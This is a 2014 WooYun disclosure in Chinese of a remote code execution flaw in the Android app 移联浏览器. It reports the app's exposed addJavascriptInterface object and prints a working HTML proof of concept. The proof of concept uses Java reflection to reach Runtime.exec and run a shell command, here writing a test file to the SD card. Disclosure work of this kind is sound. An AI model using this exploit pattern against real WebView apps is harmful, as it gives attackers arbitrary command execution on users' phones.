当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-066836

漏洞标题:移联浏览器远程代码执行漏洞

相关厂商:移联浏览器

漏洞作者: 从容

提交时间:2014-07-01 23:14

修复时间:2014-09-29 23:16

公开时间:2014-09-29 23:16

漏洞类型:远程代码执行

危害等级:中

自评Rank:8

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-07-01: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-09-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

移联浏览器远程代码执行漏洞

详细说明:

下载移联浏览器:

http://as.baidu.com/a/item?docid=4185242


下载dex2jar和jd-gui

漏洞证明:

搜索addJavascriptInterface

QQ截图20140701120330.png


有两个,那就拿setting构造一个写文件+弹窗的Exp:

<html>
<head>
<title>test</title>
</head>
<body>
<script>
function execute(testcmd)
{
return setting.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(testcmd);
}
try{
execute(["/system/bin/sh","-c","echo 'WooYun_TEST.' > /sdcard/paxmac.txt"]);
alert("WooYun!");
}catch(e){
alert(e);
}
</script>
</body>
</html>


弹窗:

Screenshot_2014-07-01-12-06-58.png


写入文件:

QQ截图20140701110524.png

修复方案:

:)

版权声明:转载请注明来源 从容@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论